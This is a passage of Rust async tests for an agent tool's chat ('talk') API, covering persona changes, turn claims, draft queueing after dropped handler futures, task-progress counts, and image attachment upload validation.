14140        assert!(rei.avatar.contains("persona=rei&v="));
14141        assert_ne!(
14142            rei.avatar.split("&v=").nth(1),
14143            plain.avatar.split("&v=").nth(1)
14144        );
14145    }
14146
14147    #[tokio::test]
14148    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14149        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14150        let cfg = config_for(&repo).await.unwrap();
14151        for arrived in [false, true] {
14152            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14153            let observed = ui.queued_generation(&id);
14154            let talk = ui.talks.get(&id).unwrap();
14155            if arrived {
14156                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14157            }
14158            let mut settling = std::pin::pin!(settle_settings_turn(
14159                talk,
14160                ui.talks.clone(),
14161                cfg.clone(),
14162                id.clone(),
14163                turn,
14164                observed
14165            ));
14166            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14167            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14168            assert_eq!(first.is_pending(), arrived);
14169            if arrived {
14170                assert!(!settling.await);
14171            }
14172            assert!(!ui.is_thinking(&id));
14173        }
14174    }
14175
14176    #[tokio::test]
14177    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14178        let tmp = TempDir::new().expect("tempdir");
14179        let repo = tmp.path().join("repo");
14180        std::fs::create_dir_all(&repo).expect("repo dir");
14181        std::fs::write(
14182            repo.join("magi.toml"),
14183            format!(
14184                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14185            ),
14186        )
14187        .expect("write magi.toml");
14188        let home = TempDir::new().expect("temp home");
14189        let talks = Talks::at(home.path().join("talks"));
14190        let ui = Arc::new(
14191            Ui::new(
14192                Queue::at(home.path().join("queue")),
14193                Questions::at(home.path().join("questions")),
14194                talks.clone(),
14195                home.path().join("runs"),
14196                home.path().to_path_buf(),
14197                repo.clone(),
14198            )
14199            .with_worktrees_root(home.path().join("wt")),
14200        );
14201        let cfg = config_for(&repo).await.expect("discover config");
14202        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14203        let id = talk.id.clone();
14204        let call = |persona: &str| {
14205            talk_persona(
14206                State(Arc::clone(&ui)),
14207                Path(id.clone()),
14208                Json(TalkPersona {
14209                    persona: persona.to_owned(),
14210                }),
14211            )
14212        };
14213
14214        let unknown = call("nobody").await.expect_err("unknown persona");
14215        assert_eq!(
14216            unknown.status,
14217            StatusCode::BAD_REQUEST,
14218            "{}",
14219            unknown.message
14220        );
14221
14222        {
14223            // Nothing refused so far took a claim, so the guard is free to take
14224            // and holding it is what makes the talk busy.
14225            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14226            let busy = call("rei").await.expect_err("busy talk");
14227            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14228            assert!(
14229                busy.message.contains("a talk turn is running"),
14230                "{}",
14231                busy.message
14232            );
14233            drop(guard);
14234        }
14235        assert_eq!(talks.get(&id).expect("reload").persona, "");
14236
14237        let Json(view) = call("gendo").await.expect("switch to a configured persona");
14238        assert_eq!(view.talk.persona, "gendo");
14239        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14240        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14241        // No intervening I/O or sleep may be needed before another change.
14242        for chosen in ["default", "gendo", "rei", "gendo"] {
14243            let Json(view) = call(chosen).await.expect("immediate consecutive change");
14244            assert!(!view.thinking);
14245            assert!(!ui.is_thinking(&id));
14246        }
14247
14248        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14249            .await
14250            .expect("detail");
14251        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14252        assert_eq!(ids.first(), Some(&"default"));
14253        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14254
14255        let Json(view) = call("default").await.expect("back to default");
14256        assert_eq!(view.talk.persona, "");
14257
14258        let mut closed = talks.get(&id).expect("reload");
14259        talk::close(&mut closed, &talks).expect("close");
14260        let refused = call("rei").await.expect_err("closed talk");
14261        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14262        assert!(
14263            refused.message.contains("takes no more turns"),
14264            "{}",
14265            refused.message
14266        );
14267    }
14268
14269    #[tokio::test]
14270    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14271        let f = Fixture::start().await;
14272        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14273        let queue = f.queue();
14274        let mut mine = Task::new(
14275            "rename the loader".to_owned(),
14276            "rename the loader".to_owned(),
14277            PathBuf::from("/repo/magi"),
14278            Source::Agent {
14279                run: talk_id.clone(),
14280                node: "chat".to_owned(),
14281            },
14282        );
14283        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
14284        assert_eq!(empty["task_progress"]["state"], "none");
14285        assert_eq!(empty["task_progress"]["total"], 0);
14286        queue.put(&mut mine).expect("file the task");
14287        let mut theirs = Task::new(
14288            "unrelated".to_owned(),
14289            "unrelated".to_owned(),
14290            PathBuf::from("/repo/magi"),
14291            Source::Human,
14292        );
14293        // A later task linked through origin_chat alone is outside this list.
14294        theirs.origin_chat = Some(talk_id.clone());
14295        queue.put(&mut theirs).expect("file the task");
14296
14297        let res = f.get(&format!("/api/talks/{talk_id}")).await;
14298        assert_eq!(res.status, 200, "{}", res.body);
14299        let body = res.json();
14300        assert_eq!(
14301            body["status"], "open",
14302            "filing a task does not close a talk"
14303        );
14304        let tasks = body["tasks"].as_array().expect("tasks array");
14305        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
14306        assert_eq!(tasks[0]["id"], mine.id);
14307        for status in [
14308            TaskStatus::Queued,
14309            TaskStatus::Running,
14310            TaskStatus::Held,
14311            TaskStatus::Failed,
14312            TaskStatus::Blocked,
14313            TaskStatus::Parked,
14314            TaskStatus::Done,
14315            TaskStatus::Queued,
14316        ] {
14317            mine.status = status;
14318            queue.put(&mut mine).expect("update status");
14319            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
14320            let progress = &detail["task_progress"];
14321            assert_eq!(progress["total"], 1);
14322            assert_eq!(progress["counts"][status.as_str()], 1);
14323            assert_eq!(detail["tasks"][0]["status"], status.as_str());
14324            assert_eq!(detail["status"], "open", "completion never closes the chat");
14325            if status == TaskStatus::Done {
14326                assert_eq!(progress["state"], "complete");
14327                assert_eq!(progress["done"], 1);
14328                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
14329            } else {
14330                assert_eq!(progress["state"], "incomplete");
14331                assert_eq!(progress["done"], 0);
14332                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
14333            }
14334        }
14335    }
14336
14337    #[test]
14338    fn talk_task_progress_counts_mixed_statuses() {
14339        let mut tasks: Vec<_> = [
14340            TaskStatus::Queued,
14341            TaskStatus::Running,
14342            TaskStatus::Held,
14343            TaskStatus::Failed,
14344            TaskStatus::Blocked,
14345            TaskStatus::Parked,
14346            TaskStatus::Done,
14347        ]
14348        .into_iter()
14349        .map(|status| {
14350            let mut task = Task::new(
14351                "task".into(),
14352                "task".into(),
14353                PathBuf::from("/repo"),
14354                Source::Human,
14355            );
14356            task.status = status;
14357            task
14358        })
14359        .collect();
14360        let progress = talk_task_progress(&tasks);
14361        assert_eq!(progress.state, "incomplete");
14362        assert_eq!(progress.total, 7);
14363        assert_eq!(progress.done, 1);
14364        assert_eq!(progress.unfinished_ids.len(), 6);
14365        assert!(progress.counts.values().all(|count| *count == 1));
14366        assert_eq!(
14367            progress.unfinished_ids,
14368            tasks[..6]
14369                .iter()
14370                .map(|task| task.id.clone())
14371                .collect::<Vec<_>>()
14372        );
14373
14374        for task in &mut tasks {
14375            task.status = TaskStatus::Done;
14376        }
14377        let complete = talk_task_progress(&tasks);
14378        assert_eq!(complete.state, "complete");
14379        assert_eq!(complete.done, 7);
14380        assert!(complete.unfinished_ids.is_empty());
14381        tasks[0].status = TaskStatus::Queued;
14382        let requeued = talk_task_progress(&tasks);
14383        assert_eq!(requeued.state, "incomplete");
14384        assert_eq!(requeued.done, 6);
14385        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
14386
14387        let empty = talk_task_progress(&[]);
14388        assert_eq!(empty.state, "none");
14389        assert_eq!(empty.total, 0);
14390        assert_eq!(empty.done, 0);
14391        assert!(empty.unfinished_ids.is_empty());
14392        assert!(empty.counts.values().all(|count| *count == 0));
14393    }
14394
14395    #[tokio::test]
14396    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
14397        let (_tmp, _repo, f) = talk_fixture().await;
14398        let id = f.post("/api/talks", None).await.json()["id"]
14399            .as_str()
14400            .expect("id")
14401            .to_owned();
14402
14403        let res = f
14404            .post(
14405                &format!("/api/talks/{id}/say"),
14406                Some(r#"{"text":"what does the queue module do?"}"#),
14407            )
14408            .await;
14409        assert_eq!(res.status, 202, "{}", res.body);
14410        let queued = res.json();
14411        let turns = queued["turns"].as_array().expect("turns array");
14412        assert_eq!(
14413            turns.len(),
14414            1,
14415            "the answer reflects only what is on disk the instant it is sent, \
14416             before the agent's turn - which can run for the whole of \
14417             `[graph] timeout_talk` - has a chance to land: {queued}"
14418        );
14419        assert_eq!(turns[0]["who"], "operator");
14420        assert_eq!(turns[0]["body"], "what does the queue module do?");
14421        assert_eq!(
14422            queued["thinking"], true,
14423            "the accepted response exposes the background turn claim: {queued}"
14424        );
14425
14426        let mut turns_after = 1;
14427        for _ in 0..SETTLE_STEPS {
14428            let detail = f.get(&format!("/api/talks/{id}")).await.json();
14429            turns_after = detail["turns"].as_array().expect("turns array").len();
14430            if turns_after == 2 {
14431                break;
14432            }
14433            tokio::time::sleep(Duration::from_millis(10)).await;
14434        }
14435        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
14436    }
14437
14438    /// A phone that reloads mid-request drops `talk_say`'s whole handler
14439    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
14440    /// guards against: `talk::record` used to return, and only *then* did the
14441    /// handler make a second, separate disk round trip before spawning the
14442    /// agent's reply task. A future dropped in that gap left a message
14443    /// recorded on disk with no reply task ever started and no way back short
14444    /// of a fresh message - and the gap was not even the whole story: *any*
14445    /// `.await` in this handler, including the very first one, is a point
14446    /// where a drop can land after the awaited work already finished but
14447    /// before this handler's own code resumes to act on it. `record` now
14448    /// runs inside the task `tokio::spawn` hands to the runtime before this
14449    /// handler ever awaits anything of its own again, so there is nothing
14450    /// left in *this* handler's future for a disconnect to interrupt between
14451    /// the message landing on disk and the reply task starting.
14452    ///
14453    /// A real socket disconnect cannot be relied on to land in the old gap
14454    /// from a test - over loopback, `talk_say` typically finishes before the
14455    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
14456    /// same failure mode directly: it drops the task's future at whatever
14457    /// point it has reached, exactly what axum does to the handler future,
14458    /// without needing to win a real network race. Sweeping the delay before
14459    /// aborting samples a range of points the task's execution can be at,
14460    /// including where the old code sat waiting on its second disk round
14461    /// trip - confirmed by reverting this fix locally and watching this same
14462    /// sweep catch a talk stuck with the operator's turn recorded and no
14463    /// reply ever following.
14464    #[tokio::test]
14465    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
14466        let tmp = TempDir::new().expect("tempdir");
14467        let repo = tmp.path().join("repo");
14468        std::fs::create_dir_all(&repo).expect("repo dir");
14469        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14470        let home = TempDir::new().expect("temp home");
14471        let talks = Talks::at(home.path().join("talks"));
14472        let ui = Arc::new(
14473            Ui::new(
14474                Queue::at(home.path().join("queue")),
14475                Questions::at(home.path().join("questions")),
14476                talks.clone(),
14477                home.path().join("runs"),
14478                home.path().to_path_buf(),
14479                repo.clone(),
14480            )
14481            .with_worktrees_root(home.path().join("wt")),
14482        );
14483        let cfg = config_for(&repo).await.expect("discover config");
14484
14485        for delay in 0..40u32 {
14486            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14487            let id = talk.id.clone();
14488
14489            let handler = tokio::spawn(talk_say(
14490                State(Arc::clone(&ui)),
14491                Path(id.clone()),
14492                Ok(Json(NewTalkTurn {
14493                    reply_to: None,
14494                    text: "what does the queue module do?".to_owned(),
14495                    attachments: Vec::new(),
14496                })),
14497            ));
14498            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
14499            handler.abort();
14500            // Wait out the abort so the next iteration's talk does not race
14501            // this one's still-unwinding turn guard.
14502            let _ = handler.await;
14503
14504            let mut turns = 0;
14505            for _ in 0..SETTLE_STEPS {
14506                if let Ok(fresh) = talks.get(&id) {
14507                    turns = fresh.turns.len();
14508                    if turns != 1 {
14509                        break;
14510                    }
14511                }
14512                tokio::time::sleep(Duration::from_millis(10)).await;
14513            }
14514            assert_ne!(
14515                turns, 1,
14516                "delay {delay}: talk {id} recorded the operator's turn but \
14517                 the agent never answered - the reply task was never \
14518                 started after the handler future was dropped"
14519            );
14520        }
14521    }
14522
14523    /// The same drop, landing on `talk_say`'s other durable write.
14524    ///
14525    /// When a turn is already running, the busy branch persists the
14526    /// operator's text as a queued draft and then reclaims the turn slot if
14527    /// the holder gave it up in the meantime - and whoever reclaims owes that
14528    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
14529    /// which finishes whether or not the future awaiting it is still there,
14530    /// so a handler dropped at that `.await` used to leave the draft written
14531    /// to disk with the reclaimed guard dropped unread and no drainer ever
14532    /// started: the message sat queued until some unrelated later `say`
14533    /// happened to pick it up.
14534    ///
14535    /// This used to drive the handler future by hand, polling it a fixed
14536    /// number of times to park it at the `.await` where it asks for the turn
14537    /// and finds it busy, before the reclaim's slot-free case could be set up
14538    /// underneath it. That assumed a fixed number of polls lands at a fixed
14539    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
14540    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
14541    /// poll, so any number of this handler's several `blocking` awaits can
14542    /// collapse into one poll under load, landing the drive somewhere other
14543    /// than intended - including, occasionally, straight past the handler's
14544    /// own completion, which made polling it again panic with "async fn
14545    /// resumed after completion". No poll count fixes that; the handler's
14546    /// progress simply is not something a caller outside it can observe by
14547    /// counting.
14548    ///
14549    /// [`BusyQueueGate`] replaces the poll count with a real stop point
14550    /// inside the write itself, so the interleaving under test is pinned by
14551    /// an event instead of a guess: the gate fires only once the handler has
14552    /// actually decided `Busy` and is about to persist the draft, and it
14553    /// blocks that write until the test lets it through. Between those two
14554    /// moments the test drains the turn the handler found busy - through
14555    /// `drain_loop`, the protocol's other half - and then aborts the handler
14556    /// task outright, the same way axum drops a disconnected request's
14557    /// future. The write, and the reclaim it may do, run to completion
14558    /// regardless: they live in the `tokio::spawn` task the busy branch hands
14559    /// to the runtime before ever touching the gate, wholly independent of
14560    /// whether the handler that started it is still around - which is what
14561    /// this test is actually checking. A drainer other than that reclaim
14562    /// cannot exist here: the test's own `drain_loop` call happens before the
14563    /// gate opens, so it runs while the queue is still empty and hands the
14564    /// turn straight back rather than draining anything, closing off the
14565    /// possibility of the final assertion passing without the reclaim ever
14566    /// having done its job.
14567    #[tokio::test]
14568    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
14569        let tmp = TempDir::new().expect("tempdir");
14570        let repo = tmp.path().join("repo");
14571        std::fs::create_dir_all(&repo).expect("repo dir");
14572        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14573        let home = TempDir::new().expect("temp home");
14574        let talks = Talks::at(home.path().join("talks"));
14575        let ui = Arc::new(
14576            Ui::new(
14577                Queue::at(home.path().join("queue")),
14578                Questions::at(home.path().join("questions")),
14579                talks.clone(),
14580                home.path().join("runs"),
14581                home.path().to_path_buf(),
14582                repo.clone(),
14583            )
14584            .with_worktrees_root(home.path().join("wt")),
14585        );
14586        let cfg = config_for(&repo).await.expect("discover config");
14587
14588        for attempt in 0..3u32 {
14589            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14590            let id = talk.id.clone();
14591            // A turn is already running, which is what sends `talk_say` down
14592            // the busy branch.
14593            let turn_guard = ui
14594                .begin_talk_turn(&id)
14595                .expect("claim the turn")
14596                .expect("a fresh talk owes nobody a turn");
14597
14598            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
14599            let (release_tx, release_rx) = std::sync::mpsc::channel();
14600            ui.set_busy_queue_gate(BusyQueueGate {
14601                reached: reached_tx,
14602                release: release_rx,
14603            });
14604
14605            let handler = tokio::spawn(talk_say(
14606                State(Arc::clone(&ui)),
14607                Path(id.clone()),
14608                Ok(Json(NewTalkTurn {
14609                    reply_to: None,
14610                    text: "what does the queue module do?".to_owned(),
14611                    attachments: Vec::new(),
14612                })),
14613            ));
14614
14615            // Wait for the busy branch to actually reach the gate, rather
14616            // than for any fixed number of polls of anything - a bounded
14617            // wait rather than a bare `.await` so a regression that never
14618            // reaches the gate fails the test instead of hanging it.
14619            tokio::time::timeout(Duration::from_secs(5), reached_rx)
14620                .await
14621                .unwrap_or_else(|_| {
14622                    panic!(
14623                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
14624                    )
14625                })
14626                .expect("the busy branch dropped the gate without using it");
14627
14628            // The turn that was running now finishes and gives the slot up
14629            // the way a real one does - through `drain_loop`, which finds
14630            // nothing queued yet (the write is still held at the gate) and
14631            // releases. The handler, parked inside `spawn_blocking` on the
14632            // other side of the gate, still believes the talk is busy -
14633            // exactly the interleaving the reclaim exists for.
14634            let running = talks.get(&id).expect("reload talk");
14635            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
14636
14637            // Drop the handler future now, the way a reloading phone drops
14638            // it: suspended waiting on the busy branch's answer, having
14639            // itself made no more progress since it handed the write off.
14640            handler.abort();
14641            let _ = handler.await;
14642
14643            // Only now let the gated write proceed. It persists the draft
14644            // and reclaims the now-free slot from inside the task the busy
14645            // branch already spawned - unaffected by the handler's abort
14646            // above, since that task was independent of the handler's own
14647            // future from the moment it was spawned.
14648            let _ = release_tx.send(());
14649
14650            // A settled talk: the draft drained into an operator turn and
14651            // answered.
14652            let mut fresh = talks.get(&id).expect("reload talk");
14653            for _ in 0..SETTLE_STEPS {
14654                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
14655                    break;
14656                }
14657                tokio::time::sleep(Duration::from_millis(10)).await;
14658                fresh = talks.get(&id).expect("reload talk");
14659            }
14660            assert!(
14661                fresh.pending.is_empty() && fresh.turns.len() == 2,
14662                "attempt {attempt}: talk {id} left the operator's text queued \
14663                 with no drainer - the reclaimed turn was dropped along with \
14664                 the handler future (pending {:?}, {} turns)",
14665                fresh.pending,
14666                fresh.turns.len()
14667            );
14668        }
14669    }
14670
14671    #[tokio::test]
14672    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
14673        let (_tmp, _repo, f) = talk_fixture().await;
14674        let id = f.post("/api/talks", None).await.json()["id"]
14675            .as_str()
14676            .expect("id")
14677            .to_owned();
14678        let store = f.talks();
14679        let mut recovered = store.get(&id).expect("opened talk");
14680        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14681            .expect("persist pending draft without a live turn");
14682
14683        let edited = f
14684            .post(
14685                &format!("/api/talks/{id}/pending/edit"),
14686                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
14687            )
14688            .await;
14689        assert_eq!(edited.status, 200, "{}", edited.body);
14690        assert!(edited.json()["thinking"].as_bool().unwrap());
14691
14692        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
14693        for _ in 0..SETTLE_STEPS {
14694            if detail["turns"].as_array().expect("turns").len() == 2 {
14695                break;
14696            }
14697            tokio::time::sleep(Duration::from_millis(10)).await;
14698            detail = f.get(&format!("/api/talks/{id}")).await.json();
14699        }
14700        let turns = detail["turns"].as_array().expect("turns");
14701        assert_eq!(
14702            turns.len(),
14703            2,
14704            "the recovered draft must run once: {detail}"
14705        );
14706        assert_eq!(turns[0]["body"], "corrected");
14707        assert_eq!(detail["pending"], "");
14708    }
14709
14710    #[tokio::test]
14711    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
14712        let tmp = TempDir::new().expect("tempdir");
14713        let repo = tmp.path().join("repo");
14714        std::fs::create_dir_all(&repo).expect("repo dir");
14715        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14716        let f = Fixture::with_repo(repo).await;
14717        let id = f.post("/api/talks", None).await.json()["id"]
14718            .as_str()
14719            .expect("id")
14720            .to_owned();
14721        let store = f.talks();
14722        let mut recovered = store.get(&id).expect("opened talk");
14723        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14724            .expect("persist pending draft without a live turn");
14725
14726        let refused = f
14727            .post(
14728                &format!("/api/talks/{id}/say"),
14729                Some(r#"{"text":"new message"}"#),
14730            )
14731            .await;
14732        assert_eq!(refused.status, 409, "{}", refused.body);
14733        assert!(refused.body.contains("resume"), "{}", refused.body);
14734        let saved = store.get(&id).expect("draft remains after refusal");
14735        assert!(saved.turns.is_empty());
14736        assert_eq!(saved.pending, "saved before restart");
14737
14738        let say_path = format!("/api/talks/{id}/say");
14739        let (first, second) = tokio::join!(
14740            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
14741            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
14742        );
14743        assert_eq!(first.status, 409, "{}", first.body);
14744        assert_eq!(second.status, 409, "{}", second.body);
14745        let saved = store
14746            .get(&id)
14747            .expect("draft remains after concurrent refusals");
14748        assert!(saved.turns.is_empty());
14749        assert_eq!(saved.pending, "saved before restart");
14750
14751        let resumed = f
14752            .post(&format!("/api/talks/{id}/pending/resume"), None)
14753            .await;
14754        assert_eq!(resumed.status, 202, "{}", resumed.body);
14755        let duplicate = f
14756            .post(&format!("/api/talks/{id}/pending/resume"), None)
14757            .await;
14758        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
14759
14760        for _ in 0..SETTLE_STEPS {
14761            if store.get(&id).expect("talk").turns.len() == 2 {
14762                break;
14763            }
14764            tokio::time::sleep(Duration::from_millis(10)).await;
14765        }
14766        let finished = store.get(&id).expect("finished talk");
14767        assert_eq!(finished.turns.len(), 2, "{finished:?}");
14768        assert_eq!(finished.turns[0].body, "saved before restart");
14769        assert!(finished.pending.is_empty());
14770    }
14771
14772    #[tokio::test]
14773    async fn an_image_only_recovered_draft_resumes_without_text() {
14774        let (_tmp, _repo, f) = talk_fixture().await;
14775        let id = f.post("/api/talks", None).await.json()["id"]
14776            .as_str()
14777            .expect("id")
14778            .to_owned();
14779        let uploaded = f
14780            .post_bytes(
14781                &format!("/api/talks/{id}/attachments"),
14782                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
14783                PNG_BYTES,
14784            )
14785            .await;
14786        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
14787        let attachment = f
14788            .talks()
14789            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
14790            .expect("attachment metadata")
14791            .expect("stored attachment");
14792        let store = f.talks();
14793        let mut recovered = store.get(&id).expect("opened talk");
14794        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
14795
14796        let resumed = f
14797            .post(&format!("/api/talks/{id}/pending/resume"), None)
14798            .await;
14799        assert_eq!(resumed.status, 202, "{}", resumed.body);
14800        for _ in 0..SETTLE_STEPS {
14801            if store.get(&id).expect("talk").turns.len() == 2 {
14802                break;
14803            }
14804            tokio::time::sleep(Duration::from_millis(10)).await;
14805        }
14806        let finished = store.get(&id).expect("finished talk");
14807        assert_eq!(finished.turns.len(), 2, "{finished:?}");
14808        assert!(finished.turns[0].body.is_empty());
14809        assert_eq!(finished.turns[0].attachments.len(), 1);
14810        assert!(finished.pending_attachments.is_empty());
14811    }
14812
14813    #[tokio::test]
14814    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
14815        let (_tmp, _repo, f) = talk_fixture().await;
14816        let id = f.post("/api/talks", None).await.json()["id"]
14817            .as_str()
14818            .expect("id")
14819            .to_owned();
14820        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
14821        assert_eq!(closed.status, 200, "{}", closed.body);
14822        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
14823            .expect("serialize closed talk");
14824        for (path, body) in [
14825            (format!("/api/talks/{id}/pending/resume"), None),
14826            (
14827                format!("/api/talks/{id}/pending/clear"),
14828                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
14829            ),
14830            (
14831                format!("/api/talks/{id}/pending/edit"),
14832                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
14833            ),
14834            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
14835        ] {
14836            let response = f.post(&path, body).await;
14837            assert_eq!(response.status, 409, "{}", response.body);
14838        }
14839        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
14840            .expect("serialize closed talk");
14841        assert_eq!(
14842            after_clear, before_clear,
14843            "clear must not rewrite a closed talk"
14844        );
14845    }
14846
14847    /// Keeps both claims observable long enough to exercise the distinction
14848    /// between one busy talk and a globally locked Chat surface.
14849    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
14850
14851    #[tokio::test]
14852    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
14853        let tmp = TempDir::new().expect("tempdir");
14854        let repo = tmp.path().join("repo");
14855        std::fs::create_dir_all(&repo).expect("repo dir");
14856        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14857        let f = Fixture::with_repo(repo).await;
14858        let id_a = f.post("/api/talks", None).await.json()["id"]
14859            .as_str()
14860            .unwrap()
14861            .to_owned();
14862        let id_b = f.post("/api/talks", None).await.json()["id"]
14863            .as_str()
14864            .unwrap()
14865            .to_owned();
14866
14867        let a = f
14868            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
14869            .await;
14870        assert_eq!(a.status, 202, "{}", a.body);
14871        assert_eq!(a.json()["thinking"], true);
14872        let b = f
14873            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
14874            .await;
14875        assert_eq!(b.status, 202, "{}", b.body);
14876        assert_eq!(b.json()["thinking"], true);
14877
14878        let listed = f.get("/api/talks").await.json();
14879        for id in [&id_a, &id_b] {
14880            let view = listed
14881                .as_array()
14882                .unwrap()
14883                .iter()
14884                .find(|talk| talk["id"] == *id)
14885                .unwrap();
14886            assert_eq!(view["thinking"], true, "{listed}");
14887        }
14888        let repeated = f
14889            .post(
14890                &format!("/api/talks/{id_a}/say"),
14891                Some(r#"{"text":"again"}"#),
14892            )
14893            .await;
14894        assert_eq!(repeated.status, 202, "{}", repeated.body);
14895        assert_eq!(repeated.json()["pending"], "again");
14896    }
14897
14898    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
14899    /// few more, since real uploads are never exactly eight bytes.
14900    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
14901
14902    #[tokio::test]
14903    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
14904        let f = Fixture::start().await;
14905        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
14906
14907        let res = f
14908            .post_bytes(
14909                &format!("/api/talks/{id}/attachments"),
14910                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
14911                PNG_BYTES,
14912            )
14913            .await;
14914        assert_eq!(res.status, 201, "{}", res.body);
14915        let body = res.json();
14916        assert_eq!(body["name"], "shot.png");
14917        assert_eq!(body["mime"], "image/png");
14918        assert_eq!(body["bytes"], PNG_BYTES.len());
14919        let att_id = body["id"].as_str().expect("id").to_owned();
14920        assert_eq!(
14921            att_id.len(),
14922            32,
14923            "the id must never be a client-suppliable path: {att_id}"
14924        );
14925
14926        let got = f
14927            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
14928            .await;
14929        assert_eq!(got.status, 200, "{}", got.body);
14930        assert_eq!(got.header("content-type"), Some("image/png"));
14931        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
14932        assert_eq!(got.bytes, PNG_BYTES);
14933    }
14934
14935    #[tokio::test]
14936    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
14937        let f = Fixture::start().await;
14938        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
14939
14940        // SVG can carry a `<script>`, so it is never on the whitelist even
14941        // though it is a real IANA image type.
14942        let svg = f
14943            .post_bytes(
14944                &format!("/api/talks/{id}/attachments"),
14945                &[("Content-Type", "image/svg+xml")],
14946                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
14947            )
14948            .await;
14949        assert!(
14950            (400..500).contains(&svg.status),
14951            "svg must be refused: {} {}",
14952            svg.status,
14953            svg.body
14954        );
14955        assert!(svg.body.contains("SVG"), "{}", svg.body);
14956
14957        let text = f
14958            .post_bytes(
14959                &format!("/api/talks/{id}/attachments"),
14960                &[("Content-Type", "text/plain")],
14961                b"just some text",
14962            )
14963            .await;
14964        assert!(
14965            (400..500).contains(&text.status),
14966            "an unlisted type must be refused: {} {}",
14967            text.status,
14968            text.body
14969        );
14970
14971        // The declared type is a real png, but the size check runs before
14972        // the bytes are even looked at.
14973        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
14974        let big = f
14975            .post_bytes(
14976                &format!("/api/talks/{id}/attachments"),
14977                &[("Content-Type", "image/png")],
14978                &oversized,
14979            )
14980            .await;
14981        assert_eq!(
14982            big.status,
